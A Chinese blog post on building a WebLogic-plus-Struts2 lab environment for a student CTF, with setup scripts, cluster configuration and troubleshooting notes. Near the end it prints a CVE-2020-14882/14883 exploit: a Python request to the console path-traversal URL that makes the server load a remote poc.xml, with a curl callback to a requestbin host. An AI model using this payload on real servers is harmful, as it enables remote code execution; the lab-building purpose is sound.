Weblogic 环境搭建出题教程


Weblogic 环境搭建出题教程

前言

主要是为了赛博杯新生赛的出题,想着搭建一个尽量真实的环境,外网一个struts2,内网装一个weblogic,涉及到一点点域和内网的知识。
花了四五天时间,但是很遗憾,最后还是没有成功,有考虑过docker搭建,但是docker内的域总感觉不够真实

版本及基础环境

主要参考链接

https://blog.csdn.net/blvyoucan/article/details/78507100

https://github.com/QAX-A-Team/WeblogicEnvironment

一些基础知识

https://jlhxxxx.github.io/weblogic-cluster.html

大致思路

  • 一台内网机器(ip:192.168.1.176,简称内网机),一台外网(ip:192.168.1.175,简称外网机),两台都安装weblogic,内网作为adminserver,外网机器做nodemanager,外网机器弄一个struts2写的网站
  • 服务权限较低,防止被搅屎
  • 能自动恢复环境,自动启动环境(最后没实现)

过程

下载安装基础内容(两台机器都要)

# 下载jdk和weblogic,提前放在了阿里oss,速度快一点,不收钱
wget -O /fmw_12.1.3.0.0_wls.jar http://xxx.oss-cn-hangzhou-internal.aliyuncs.com/fmw_12.1.3.0.0_wls.jar
wget -O /jdk-8u121-linux-x64.tar.gz http://xxx.oss-cn-hangzhou-internal.aliyuncs.com/jdk-8u121-linux-x64.tar.gz
cp /jdk-8u121-linux-x64.tar.gz ./jdk-8u121-linux-x64.tar.gz
cp /fmw_12.1.3.0.0_wls.jar ./fmw_12.1.3.0.0_wls.jar

JDK_PKG=jdk-8u121-linux-x64.tar.gz
WEBLOGIC_JAR=fmw_12.1.3.0.0_wls.jar
export JDK_PKG=jdk-8u121-linux-x64.tar.gz
export WEBLOGIC_JAR=fmw_12.1.3.0.0_wls.jar
mkdir -p /install && mkdir -p /scripts

yum makecache
yum -y install git
yum -y install libnsl

# Weblogic需要swap 512MB以上
dd if=/dev/zero of=/home/swapfile bs=1M count=1024
chmod 600 /home/swapfile
mkswap /home/swapfile
swapon /home/swapfile
echo "/home/swapfile swap swap defaults 0 0" >>/etc/fstab
reboot

# 创建用户
groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle

# 复制脚本
git clone https://github.com/QAX-A-Team/WeblogicEnvironment
cd WeblogicEnvironment
/bin/cp -f scripts/jdk_install.sh /scripts/jdk_install.sh 
/bin/cp -f scripts/jdk_bin_install.sh /scripts/jdk_bin_install.sh 
/bin/cp -f scripts/weblogic_install11g.sh /scripts/weblogic_install11g.sh
/bin/cp -f scripts/weblogic_install12c.sh /scripts/weblogic_install12c.sh
/bin/cp -f scripts/create_domain11g.sh /scripts/create_domain11g.sh
/bin/cp -f scripts/create_domain12c.sh /scripts/create_domain12c.sh
/bin/cp -f scripts/open_debug_mode.sh /scripts/open_debug_mode.sh
cd ../

# 判断jdk是包(bin/tar.gz)weblogic包(11g/12c)载入对应脚本
if [ $JDK_PKG == *.bin ] ; then echo ****载入JDK bin安装脚本**** && cp -f /scripts/jdk_bin_install.sh /scripts/jdk_install.sh ; else echo ****载入JDK tar.gz安装脚本**** ; fi
if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****载入11g安装脚本**** && cp -f /scripts/weblogic_install11g.sh /scripts/weblogic_install.sh && cp -f /scripts/create_domain11g.sh /scripts/create_domain.sh ; else echo ****载入12c安装脚本**** && cp -f /scripts/weblogic_install12c.sh /scripts/weblogic_install.sh && cp -f /scripts/create_domain12c.sh /scripts/create_domain.sh  ; fi

# 脚本设置权限及运行
chmod +x /scripts/jdk_install.sh
chmod +x /scripts/weblogic_install.sh
chmod +x /scripts/create_domain.sh
chmod +x /scripts/open_debug_mode.sh
# 安装JDK
/scripts/jdk_install.sh
# 安装weblogic
/scripts/weblogic_install.sh

内网机安装domain

  • 上述安装过程weblogic权限是root,所以要改一下
# 创建Weblogic Domain
/scripts/create_domain.sh
# 打开Debug模式,按需打开
#/scripts/open_debug_mode.sh

# 更改权限
chown -R oracle:oinstall /u01
chmod -R 775 /u01/

# 随shell运行,能直接看到日志,关闭shell就停止的那种
su - oracle -c "cd ~ && /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"
su - oracle -c "cd ~ && /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/stopWebLogic.sh"

# 后端运行,直接看不到日志,可以关闭shell
su oracle
nohup /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh &

内网机weblogic配置

  • 运行后可访问http://localhost:7001/console/login/LoginForm.jsp登录到Weblogic Server管理控制台,默认用户名为weblogic,默认密码为qaxateam01

  • 设置AdminServer监听地址为空

  • 新建计算机

    不用改也行,下一步

    监听地址写你的外网主机的局域网ip,这里为192.168.1.175

  • 新建集群

    不用动,直接ok

  • 新建服务器

    按图示设置

  • 重新点进去

    选择刚刚新建的计算机,保存即可

  • 建议重启一下weblogic

    su - oracle -c "cd ~ && /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"
    su - oracle -c "cd ~ && /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/stopWebLogic.sh"
    
    ### 复制域到外网机
    
    * 内网机打包域
    
      ```shell
      /u01/app/oracle/middleware/oracle_common/common/bin/pack.sh -domain=/u01/app/oracle/Domains/ExampleSilentWTDomain -template=/home/oracle/ExampleSilentWTDomain.jar -managed=true -template_name="ExampleSilentWTDomain"
  • 这里直接用nc传了

  • 外网机监听nc端口

    nc -l 8889 > /home/oracle/ExampleSilentWTDomain.jar
    
    * 内网机发送文件
    
      ```shell
      nc 192.168.1.175 8889 < /home/oracle/ExampleSilentWTDomain.jar
  • 外网机解压域环境,注意文件权限

    /u01/app/oracle/middleware/oracle_common/common/bin/unpack.sh -domain=/u01/app/oracle/Domains/ExampleSilentWTDomain -template=/home/oracle/ExampleSilentWTDomain.jar
    
    ### 运行nodemanager
    
    * 经过这样操作过应该就不用配置nodemanager了,所以直接运行
    
      ```shell
      su - oracle -c "cd ~ && /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startNodeManager.sh"
      su - oracle -c "cd ~ && /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/stopNodeManager.sh"

内网机检查是否安装正确

  • 是否可访问

    不行的话可以看下日志

  • 启动server

  • 这样就算完成了

部署网站

  • 具体就不写了,大概在这里安装就行了

可选项

内存调大一点

  • 最好再建立域之前修改内存,涉及到的文件(可能不全)

  • 应该是把 -Xmx512m 改成 -Xmx1024m 就行

    vi /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/setDomainEnv.sh
    vi /u01/app/oracle/Domains/ExampleSilentWTDomain/nodemanager/nodemanager.properties
    vi /u01/app/oracle/middleware/wlserver/server/bin/startNodeManager.sh
    
    ### 文件及启动脚本权限要是oracle
    
    * 不然RCE后直接就是root,可能会被搅屎
    
    ### 安装中间件apache或者nginx
    
    * 因为不是80端口,可以配置nginx,参考代码
    
    * 修改/etc/nginx/nginx.conf
    
        location ~ .* {
              proxy_pass  http://127.0.0.1:8080;
              proxy_set_header    X-Real-IP  $remote_addr;
              proxy_set_header    Host       $host;
              proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;
              proxy_buffer_size 4k;
              proxy_buffers 4 32k;
              proxy_busy_buffers_size 64k;
              proxy_temp_file_write_size 64k;
              proxy_max_temp_file_size 512m;
        } 
    


### 网页控制台上方的 记录

* 貌似可以记录下你的操作脚本,生成一个py文件,应该可以用来自动化运维,但是没研究怎么用

已启动记录会话。记录到/u01/app/oracle/Domains/ExampleSilentWTDomain/Script1609826535362.py



## 遇到的问题

### 当两个机器不在局域网内时,会有ssl报错

* 报错示例: (截的不全) javax.net.ssl.SSLException,hostname verification check. Certificate contained VM-8-8-centos but check expected xxx.xxx.xxx.xxx
* 网上方案尝试过,改成不认证或者普通都对我没啥用

* 后来买了个在局域网内的机器解决了

### 用阿里云硬盘快照或者制作成镜像后,回滚后使用nodemanager报错

* 报错示例:

<Jan 1, 2021 4:46:50 PM CST> <Server start command for WebLogic server ‘Server-0’ failed due to: [Server failed to start up but Node Manager was not aware of the reason]. Please check N ode Manager log and/or server ‘Server-0’ log for detailed information.>


* 不知道错误原因,发现只要不恢复之前的快照就行。

* 一种方案是重新装weblogic,把 `/u01/` 目录下文件全部删除,重新安装一遍

* 另外一种方案是将` /u01/ ` 内容保存到tmp里,恢复时再复制粘贴回去(应该是可以的,没有试过)

### 更改CrashRecoveryEnabled=true

* 文件在 /u01/app/oracle/Domains/ExampleSilentWTDomain/nodemanager/nodemanager.properties 
* 据说修改后可以自动启动,没注意过

### 网页控制台的左上角的更改中心

* 不管什么时候点进去总是为空,没法做到网页端重启,有点麻烦

### 搭了struts2网站后

* 自己打包的war可能也会有问题,会报错struts2的包不在(自己的问题)
* 访问路径大概这样 http://192.168.1.175:8080/struts2-showcase/  ,这样直接汇显示struts2,建议搭配nginx用,让直接访问也可以

* 如果用扫描器扫描后,可能会在3~5分钟内无反应,chrome显示 Recv failure: 连接被对方重设,过几分钟又会自动恢复,但是日志没有写发生了什么错误

### weblogic版本

* 我用的12.1.3.0.0,本想用来复现cve-2020-14882/14883,但是实际上发现还有其他漏洞可以利用

	![](https://images.carrot2.cn/img/2021-03-03_077f27931f4f9db65b499ee47b294355.png)

* 在复现cve-2020-14882/14883时,这个的版本也比较低,没有 `com.tangosol.coherence.mvel2.sh.ShellSession` 这个类,所以只能用另外一种方法

poc.xml

curl http://http.requestbin.buuoj.cn/184ui121?43g45

############################################

import requests

url = ‘http://{}:{}/console/images/%252E%252E%252Fconsole.portal’
‘?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext’
‘(%22http://192.168.1.41:8000/poc.xml%22)'.format(‘192.168.1.53’, ‘7001’)
response = requests.get(url)


  

## 总结

* java的环境真的是太大太难配了,尤其是域的环境,还是需要多多的学习吧

文章作者: Carrot2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Carrot2 !
评论
  目录